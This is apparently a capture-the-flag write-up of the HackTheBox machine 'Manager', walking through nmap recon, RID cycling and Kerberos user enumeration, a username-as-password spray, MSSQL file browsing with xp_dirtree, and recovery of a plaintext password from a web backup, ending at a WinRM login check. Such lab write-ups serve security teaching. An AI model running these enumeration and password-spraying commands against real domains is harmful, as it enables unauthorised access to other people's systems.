HTB: Manager
Manager starts with a RID cycle or Kerberos brute force to find users on the domain, and then a password spray using each user’s username as their password. When the operator account hits, I’ll get access to the MSSQL database instance, and use the xp_dirtree feature to explore the file system. I’ll find a backup archive of the webserver, including an old config file with creds for a user. As that user, I’ll get access to the ADCS instance and exploit the ESC7 misconfiguration to get access as administrator.
Box Info
Name | Manager Play on HackTheBox |
---|---|
Release Date | 21 Oct 2023 |
Retire Date | 16 Mar 2024 |
OS | Windows |
Base Points | Medium [30] |
Rated Difficulty | |
Radar Graph | |
00:21:37 |
|
00:43:47 |
|
Creator |
Recon
nmap
nmap
finds a bunch of open TCP ports:
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.236
Starting Nmap 7.80 ( https://nmap.org ) at 2024-03-12 19:24 EDT
Nmap scan report for 10.10.11.236
Host is up (0.10s latency).
Not shown: 65513 filtered ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
49721/tcp open unknown
55791/tcp open unknown
56862/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.72 seconds
oxdf@hacky$ nmap -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -sCV 10.10.11.236
Starting Nmap 7.80 ( https://nmap.org ) at 2024-03-12 19:32 EDT
Nmap scan report for 10.10.11.236
Host is up (0.098s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Manager
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-13 06:32:57Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2024-03-13T06:35:57+00:00; +6h59m52s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2024-03-13T06:35:58+00:00; +6h59m51s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 15.00.2000.00
| ms-sql-ntlm-info:
| Target_Name: MANAGER
| NetBIOS_Domain_Name: MANAGER
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: manager.htb
| DNS_Computer_Name: dc01.manager.htb
| DNS_Tree_Name: manager.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-03-13T04:21:14
|_Not valid after: 2054-03-13T04:21:14
|_ssl-date: 2024-03-13T06:35:57+00:00; +6h59m52s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2024-03-13T06:35:57+00:00; +6h59m52s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2024-03-13T06:35:58+00:00; +6h59m51s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/12%Time=65F0E637%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m51s, deviation: 0s, median: 6h59m50s
| ms-sql-info:
| 10.10.11.236:1433:
| Version:
| name: Microsoft SQL Server
| number: 15.00.2000.00
| Product: Microsoft SQL Server
|_ TCP port: 1433
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-03-13T06:35:18
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.96 seconds
There’s a lot here!
- This is clearly a Windows host, and based on the IIS version from the webserver listening on port 80 it’s at least Windows 10 or Server 2016.
- The hostname is dc01, in the domain
manager.htb
(based on LDAP and MSSQL). - Based on the hostname and the combination of listening ports (Kerberos on 88, LDAP, etc), this host is likely a Windows domain controller.
- There’s a MSSQL database server exposed on 1433. There’s rarely a way to connect unauthenticated, but should I find creds, I’ll want to check this out.
- 5985 (WinRM) is open, which means if I find creds for the right user, I could get a shell.
Virtual Hosts
Before checking the webserver, I’ll brute force subdomains of manager.htb
to see if any return something different with ffuf
:
oxdf@hacky$ ffuf -u http://10.10.11.236 -H "Host: FUZZ.manage.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.236
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.manage.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
:: Progress: [19966/19966] :: Job [1/1] :: 420 req/sec :: Duration: [0:00:48] :: Errors: 0 ::
It doesn’t find anything. I’ll update my hosts
file:
10.10.11.236 manager.htb dc01.manager.htb
Website - TCP 80
Site
The site is for a content writing service:
There is a contact form, but submitting it sends a GET request to /contact.html
without any of the data from the form.
Tech Stack
The pages on the site are all .html
files, which indicates a static site.
The HTTP response headers shows IIS and not much more:
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 27 Jul 2023 16:02:39 GMT
Accept-Ranges: bytes
ETag: "1c67a5c4a3c0d91:0"
Server: Microsoft-IIS/10.0
Date: Wed, 13 Mar 2024 07:03:59 GMT
Connection: close
Content-Length: 18203
The 404 page is the standard IIS 404:
Seems like static site running on IIS.
Directory Brute Force
I’ll run feroxbuster
against the site using a lowercase wordlist with Windows IIS:
oxdf@hacky$ feroxbuster -u http://10.10.11.236 -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.236
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 2l 10w 146c http://10.10.11.236/js => http://10.10.11.236/js/
301 GET 2l 10w 150c http://10.10.11.236/images => http://10.10.11.236/images/
301 GET 2l 10w 147c http://10.10.11.236/css => http://10.10.11.236/css/
200 GET 507l 1356w 18203c http://10.10.11.236/
400 GET 6l 26w 324c http://10.10.11.236/error%1F_log
400 GET 6l 26w 324c http://10.10.11.236/css/error%1F_log
400 GET 6l 26w 324c http://10.10.11.236/images/error%1F_log
400 GET 6l 26w 324c http://10.10.11.236/js/error%1F_log
[####################] - 56s 106336/106336 0s found:8 errors:0
[####################] - 55s 26584/26584 476/s http://10.10.11.236/
[####################] - 55s 26584/26584 480/s http://10.10.11.236/js/
[####################] - 55s 26584/26584 480/s http://10.10.11.236/images/
[####################] - 55s 26584/26584 481/s http://10.10.11.236/css/
Nothing interesting.
SMB - TCP 445
netexec
shows the same domain and hostname:
oxdf@hacky$ netexec smb 10.10.11.236
SMB 10.10.11.236 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
I can’t enumerate shares with no user, and a bad user does seen to get some auth, but then can’t list shares either:
oxdf@hacky$ netexec smb 10.10.11.236 --shares
SMB 10.10.11.236 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [-] Error getting user: list index out of range
SMB 10.10.11.236 445 DC01 [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
oxdf@hacky$ netexec smb 10.10.11.236 --shares -u 0xdf -p 0xdf
SMB 10.10.11.236 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\0xdf:0xdf
SMB 10.10.11.236 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
Given that some kind of null auth is allowed here, I can try a RID cycling attack, by bruteforcing Windows user security identifiers (SIDs) by incrementing the relative identifier (RID) part. The Impacket script loopupside.py
will do this nicely:
oxdf@hacky$ lookupsid.py 0xdf@manager.htb -no-pass
Impacket v0.10.1.dev1+20230608.100331.efc6a1c3 - Copyright 2022 Fortra
[*] Brute forcing SIDs at manager.htb
[*] StringBinding ncacn_np:manager.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: MANAGER\Administrator (SidTypeUser)
501: MANAGER\Guest (SidTypeUser)
502: MANAGER\krbtgt (SidTypeUser)
512: MANAGER\Domain Admins (SidTypeGroup)
513: MANAGER\Domain Users (SidTypeGroup)
514: MANAGER\Domain Guests (SidTypeGroup)
515: MANAGER\Domain Computers (SidTypeGroup)
516: MANAGER\Domain Controllers (SidTypeGroup)
517: MANAGER\Cert Publishers (SidTypeAlias)
518: MANAGER\Schema Admins (SidTypeGroup)
519: MANAGER\Enterprise Admins (SidTypeGroup)
520: MANAGER\Group Policy Creator Owners (SidTypeGroup)
521: MANAGER\Read-only Domain Controllers (SidTypeGroup)
522: MANAGER\Cloneable Domain Controllers (SidTypeGroup)
525: MANAGER\Protected Users (SidTypeGroup)
526: MANAGER\Key Admins (SidTypeGroup)
527: MANAGER\Enterprise Key Admins (SidTypeGroup)
553: MANAGER\RAS and IAS Servers (SidTypeAlias)
571: MANAGER\Allowed RODC Password Replication Group (SidTypeAlias)
572: MANAGER\Denied RODC Password Replication Group (SidTypeAlias)
1000: MANAGER\DC01$ (SidTypeUser)
1101: MANAGER\DnsAdmins (SidTypeAlias)
1102: MANAGER\DnsUpdateProxy (SidTypeGroup)
1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
1113: MANAGER\Zhong (SidTypeUser)
1114: MANAGER\Cheng (SidTypeUser)
1115: MANAGER\Ryan (SidTypeUser)
1116: MANAGER\Raven (SidTypeUser)
1117: MANAGER\JinWoo (SidTypeUser)
1118: MANAGER\ChinHae (SidTypeUser)
1119: MANAGER\Operator (SidTypeUser)
The number before the :
in the output is the RID. I’ll use some Bash foo to get a nice users
list:
oxdf@hacky$ lookupsid.py 0xdf@manager.htb -no-pass | grep SidTypeUser | cut -d' ' -f2 | cut -d'\' -f2 | tr '[:upper:]' '[:lower:]' | tee users
administrator
guest
krbtgt
dc01$
zhong
cheng
ryan
raven
jinwoo
chinhae
operator
I can also do this with netexec
, just need to use the guest account:
oxdf@hacky$ netexec smb 10.10.11.236 -u guest -p '' --rid-brute
SMB 10.10.11.236 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\guest:
SMB 10.10.11.236 445 DC01 498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 500: MANAGER\Administrator (SidTypeUser)
SMB 10.10.11.236 445 DC01 501: MANAGER\Guest (SidTypeUser)
SMB 10.10.11.236 445 DC01 502: MANAGER\krbtgt (SidTypeUser)
SMB 10.10.11.236 445 DC01 512: MANAGER\Domain Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 513: MANAGER\Domain Users (SidTypeGroup)
SMB 10.10.11.236 445 DC01 514: MANAGER\Domain Guests (SidTypeGroup)
SMB 10.10.11.236 445 DC01 515: MANAGER\Domain Computers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 516: MANAGER\Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 517: MANAGER\Cert Publishers (SidTypeAlias)
SMB 10.10.11.236 445 DC01 518: MANAGER\Schema Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 519: MANAGER\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 520: MANAGER\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.236 445 DC01 521: MANAGER\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 522: MANAGER\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 525: MANAGER\Protected Users (SidTypeGroup)
SMB 10.10.11.236 445 DC01 526: MANAGER\Key Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 527: MANAGER\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 553: MANAGER\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.236 445 DC01 571: MANAGER\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.236 445 DC01 572: MANAGER\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.236 445 DC01 1000: MANAGER\DC01$ (SidTypeUser)
SMB 10.10.11.236 445 DC01 1101: MANAGER\DnsAdmins (SidTypeAlias)
SMB 10.10.11.236 445 DC01 1102: MANAGER\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.236 445 DC01 1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
SMB 10.10.11.236 445 DC01 1113: MANAGER\Zhong (SidTypeUser)
SMB 10.10.11.236 445 DC01 1114: MANAGER\Cheng (SidTypeUser)
SMB 10.10.11.236 445 DC01 1115: MANAGER\Ryan (SidTypeUser)
SMB 10.10.11.236 445 DC01 1116: MANAGER\Raven (SidTypeUser)
SMB 10.10.11.236 445 DC01 1117: MANAGER\JinWoo (SidTypeUser)
SMB 10.10.11.236 445 DC01 1118: MANAGER\ChinHae (SidTypeUser)
SMB 10.10.11.236 445 DC01 1119: MANAGER\Operator (SidTypeUser)
LDAP - TCP 389 (and others)
I’ll use ldapsearch
to confirm the base domain name:
oxdf@hacky$ ldapsearch -H ldap://dc01.manager.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=manager,DC=htb
namingcontexts: CN=Configuration,DC=manager,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=manager,DC=htb
namingcontexts: DC=DomainDnsZones,DC=manager,DC=htb
namingcontexts: DC=ForestDnsZones,DC=manager,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
When I try to query further, it says I need auth, which I don’t have:
oxdf@hacky$ ldapsearch -H ldap://dc01.manager.htb -x -b "DC=manager,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=manager,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090CF4, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
Kerberos - TCP 88
An alternative way to find usernames is by bruteforcing Kerberos with something like kerbrute
:
oxdf@hacky$ kerbrute userenum /opt/SecLists/Usernames/cirt-default-usernames.txt --dc dc01.manager.htb -d manager.htb
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/12/24 - Ronnie Flathers @ropnop
2024/03/12 20:43:18 > Using KDC(s):
2024/03/12 20:43:18 > dc01.manager.htb:88
2024/03/12 20:43:19 > [+] VALID USERNAME: ADMINISTRATOR@manager.htb
2024/03/12 20:43:19 > [+] VALID USERNAME: Administrator@manager.htb
2024/03/12 20:43:20 > [+] VALID USERNAME: GUEST@manager.htb
2024/03/12 20:43:20 > [+] VALID USERNAME: Guest@manager.htb
2024/03/12 20:43:21 > [+] VALID USERNAME: OPERATOR@manager.htb
2024/03/12 20:43:21 > [+] VALID USERNAME: Operator@manager.htb
2024/03/12 20:43:23 > [+] VALID USERNAME: administrator@manager.htb
2024/03/12 20:43:24 > [+] VALID USERNAME: guest@manager.htb
2024/03/12 20:43:25 > [+] VALID USERNAME: operator@manager.htb
2024/03/12 20:43:26 > Done! Tested 828 usernames (9 valid) in 7.886 seconds
It finds three, administrator, guest, and operator. I can use some other wordlists and find a handful more, but the important one is operator.
Shell as raven
Get Operator Password
I can do a quick check to see if any of the usernames I’ve collected use their username as their password. With netexec
, I’ll give the same list for -u
and -p
, and the --no-brute
flag, which means instead of tying each username with each password, it just tries the first username with the first password, the second with the second, and so on. I like the --continue-on-success
flag to check if there are more then one set of valid creds here:
oxdf@hacky$ netexec smb manager.htb -u users -p users --continue-on-success --no-brute
SMB 10.10.11.236 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [-] manager.htb\administrator:administrator STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\guest:guest STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\dc01$:dc01$ STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\raven:raven STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [+] manager.htb\operator:operator
The operator account uses the password operator! It doesn’t work over WinRM, so no shell from here:
oxdf@hacky$ netexec winrm manager.htb -u operator -p operator
WINRM 10.10.11.236 5985 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
WINRM 10.10.11.236 5985 DC01 [-] manager.htb\operator:operator
Enumeration as operator
SMB
The shares on Management are the standard DC shares:
oxdf@hacky$ netexec smb manager.htb -u operator -p operator --shares
SMB 10.10.11.236 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\operator:operator
SMB 10.10.11.236 445 DC01 Enumerated shares
SMB 10.10.11.236 445 DC01 Share Permissions Remark
SMB 10.10.11.236 445 DC01 ----- ----------- ------
SMB 10.10.11.236 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.236 445 DC01 C$ Default share
SMB 10.10.11.236 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.236 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.236 445 DC01 SYSVOL READ Logon server share
There’s nothing too interesting in these.
LDAP
The operator account does have LDAP access:
oxdf@hacky$ netexec ldap manager.htb -u operator -p operator
SMB 10.10.11.236 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.236 389 DC01 [+] manager.htb\operator:operator
Running ldapsearch -H ldap://dc01.manager.htb -x -D 'operator@manager.htb' -w operator -b "DC=manager,DC=htb"
will dump a bunch of LDAP to the terminal. I’ll use ldapdomaindump
to get all the info in a more viewable way:
oxdf@hacky$ mkdir ldap
oxdf@hacky$ ldapdomaindump -u management.htb\\operator -p 'operator' 10.10.11.236 -o ldap/
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
oxdf@hacky$ ls ldap/
domain_computers_by_os.html domain_computers.html domain_groups.grep domain_groups.json domain_policy.html domain_trusts.grep domain_trusts.json domain_users.grep domain_users.json
domain_computers.grep domain_computers.json domain_groups.html domain_policy.grep domain_policy.json domain_trusts.html domain_users_by_group.html domain_users.html
The domain_users_by_group.html
file is a nice overview of the users to target:
Raven is a good target to get shell over WinRM. Nothing else seems interesting.
MSSQL
The creds work for the database as well:
oxdf@hacky$ netexec mssql manager.htb -u operator -p operator
MSSQL 10.10.11.236 1433 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
MSSQL 10.10.11.236 1433 DC01 [+] manager.htb\operator:operator
mssqlclient.py
will connect, using the -windows-auth
flag to say that it’s using the OS authentication, not creds within the DB:
oxdf@hacky$ mssqlclient.py -windows-auth manager.htb/operator:operator@manager.htb
Impacket v0.10.1.dev1+20230608.100331.efc6a1c3 - Copyright 2022 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator guest@master)>
There are four DBs:
SQL (MANAGER\Operator guest@master)> select name from master..sysdatabases;
name
------
master
tempdb
model
msdb
All four are default MSSQL databases.
mssqlclient.py
has extra shortcut commands to do common attacker things on the DB:
SQL (MANAGER\Operator guest@master)> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonate
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
show_query - show query
mask_query - mask query
enum_db
will show the same thing I queried above:
SQL (MANAGER\Operator guest@master)> enum_db
name is_trustworthy_on
------ -----------------
master 0
tempdb 0
model 0
msdb 1
xp_cmdshell
is feature in MSSQL to run commands on the system. operator doesn’t have access, and can’t enable it:
SQL (MANAGER\Operator guest@master)> xp_cmdshell whoami
[-] ERROR(DC01\SQLEXPRESS): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL (MANAGER\Operator guest@master)> enable_xp_cmdshell
[-] ERROR(DC01\SQLEXPRESS): Line 105: User does not have permission to perform this action.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(DC01\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
xp_dirtree
is another feature for listing files on the filesystem. It works:
SQL (MANAGER\Operator guest@master)> xp_dirtree C:\
subdirectory depth file
------------------------- ----- ----
$Recycle.Bin 1 0
Documents and Settings 1 0
inetpub 1 0
PerfLogs 1 0
Program Files 1 0
Program Files (x86) 1 0
ProgramData 1 0
Recovery 1 0
SQL2019 1 0
System Volume Information 1 0
Users 1 0
Windows 1 0
Filesystem
The only interesting directory in C:\Users
is Raven
, and it is unaccessible. In the web root, I’ll confirm that this is a static HTML site:
SQL (MANAGER\Operator guest@master)> xp_dirtree C:\inetpub\wwwroot
subdirectory depth file
------------------------------- ----- ----
about.html 1 1
contact.html 1 1
css 1 0
images 1 0
index.html 1 1
js 1 0
service.html 1 1
web.config 1 1
website-backup-27-07-23-old.zip 1 1
There’s also a backup zip!
Backup Archive
I’ll grab the archive from the webserver:
oxdf@hacky$ wget http://manager.htb/website-backup-27-07-23-old.zip
--2024-03-13 08:58:58-- http://manager.htb/website-backup-27-07-23-old.zip
Resolving manager.htb (manager.htb)... 10.10.11.236
Connecting to manager.htb (manager.htb)|10.10.11.236|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: ‘website-backup-27-07-23-old.zip’
website-backup-27-07-2 100%[==========================>] 1021K 1.50MB/s in 0.7s
2024-03-13 08:58:59 (1.50 MB/s) - ‘website-backup-27-07-23-old.zip’ saved [1045328/1045328]
And extract it:
oxdf@hacky$ unzip website-backup-27-07-23-old.zip -d webbackup/
Archive: website-backup-27-07-23-old.zip
inflating: webbackup/.old-conf.xml
inflating: webbackup/about.html
inflating: webbackup/contact.html
inflating: webbackup/css/bootstrap.css
inflating: webbackup/css/responsive.css
inflating: webbackup/css/style.css
inflating: webbackup/css/style.css.map
inflating: webbackup/css/style.scss
inflating: webbackup/images/about-img.png
inflating: webbackup/images/body_bg.jpg
extracting: webbackup/images/call.png
extracting: webbackup/images/call-o.png
inflating: webbackup/images/client.jpg
inflating: webbackup/images/contact-img.jpg
extracting: webbackup/images/envelope.png
extracting: webbackup/images/envelope-o.png
inflating: webbackup/images/hero-bg.jpg
extracting: webbackup/images/location.png
extracting: webbackup/images/location-o.png
extracting: webbackup/images/logo.png
inflating: webbackup/images/menu.png
extracting: webbackup/images/next.png
extracting: webbackup/images/next-white.png
inflating: webbackup/images/offer-img.jpg
inflating: webbackup/images/prev.png
extracting: webbackup/images/prev-white.png
extracting: webbackup/images/quote.png
extracting: webbackup/images/s-1.png
extracting: webbackup/images/s-2.png
extracting: webbackup/images/s-3.png
extracting: webbackup/images/s-4.png
extracting: webbackup/images/search-icon.png
inflating: webbackup/index.html
inflating: webbackup/js/bootstrap.js
inflating: webbackup/js/jquery-3.4.1.min.js
inflating: webbackup/service.html
The first file, .old-conf.xml
is interesting. It has an LDAP configuration for the raven user including a password:
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<server>
<host>dc01.manager.htb</host>
<open-port enabled="true">389</open-port>
<secure-port enabled="false">0</secure-port>
<search-base>dc=manager,dc=htb</search-base>
<server-type>microsoft</server-type>
<access-user>
<user>raven@manager.htb</user>
<password>R4v3nBe5tD3veloP3r!123</password>
</access-user>
<uid-attribute>cn</uid-attribute>
</server>
<search type="full">
<dir-list>
<dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
</dir-list>
</search>
</ldap-conf>
WinRM
The LDAP enumeration showed that raven is in the Remote Management Users group, which means they should be able to WinRM. netexec
confirms, and that this password works:
oxdf@hacky$ netexec winrm manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'
